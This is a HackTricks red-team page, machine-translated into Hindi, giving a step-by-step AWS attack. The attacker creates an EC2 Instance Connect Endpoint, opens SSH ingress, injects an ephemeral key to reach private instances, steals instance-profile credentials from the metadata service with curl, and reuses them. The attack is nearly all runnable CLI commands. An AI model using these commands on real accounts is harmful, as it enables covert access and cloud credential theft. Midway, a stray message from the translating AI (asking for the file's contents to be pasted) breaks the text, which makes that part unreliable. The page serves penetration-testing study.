AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Abuse EC2 Instance Connect Endpoint (EIC Endpoint) का उपयोग करके private EC2 instances (no public IP/bastion) में inbound SSH access प्राप्त करें, इसके लिए:

  • Target subnet के अंदर एक EIC Endpoint बनाना
  • EIC Endpoint SG से target SG पर inbound SSH की अनुमति देना
  • ec2-instance-connect:SendSSHPublicKey के साथ short‑lived SSH public key (valid ~60 seconds) inject करना
  • EIC tunnel खोलना और instance पर pivot कर IMDS से instance profile credentials चुराना

Impact: private EC2 instances में एक stealthy remote access path जो bastions और public IP restrictions को bypass करता है। आक्रमणकारी instance profile assume कर account में कार्य कर सकता है।

Requirements

  • अनुमतियाँ:
  • ec2:CreateInstanceConnectEndpoint, ec2:Describe*, ec2:AuthorizeSecurityGroupIngress
  • ec2-instance-connect:SendSSHPublicKey, ec2-instance-connect:OpenTunnel
  • लक्ष्य Linux instance जिसमें SSH server और EC2 Instance Connect सक्षम हो (Amazon Linux 2 या Ubuntu 20.04+)। डिफ़ॉल्ट उपयोगकर्ता: ec2-user (AL2) या ubuntu (Ubuntu).

Variables

export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user

EIC Endpoint बनाएं

aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done

EIC Endpoint से target instance तक ट्रैफ़िक की अनुमति दें

aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

इंजेक्ट करें ephemeral SSH key और tunnel खोलें

# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no

Post-exploitation सबूत (steal instance profile credentials)

# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)

I don’t have the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md. कृपया उस फाइल का Markdown कंटेंट पेस्ट कर दें ताकि मैं इसे हिंदी में अनुवाद कर सकूँ — मैं सिर्फ टेक्स्ट (कोड, टैग और लिंक अपरिवर्तित रखकर) अनुवाद करूँगा।

{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}

पहचान सत्यापित करने के लिए चुराए गए creds को स्थानीय रूप से उपयोग करें:

export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>

साफ-सफाई

# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"

नोट

  • इंजेक्ट किया गया SSH key केवल ~60 सेकंड के लिए ही वैध होता है; टनल/SSH खोलने से ठीक पहले यह key भेजें।
  • OS_USER को AMI से मेल खाना चाहिए (उदा., ubuntu Ubuntu के लिए, ec2-user Amazon Linux 2 के लिए). [!TIP] AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
    GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें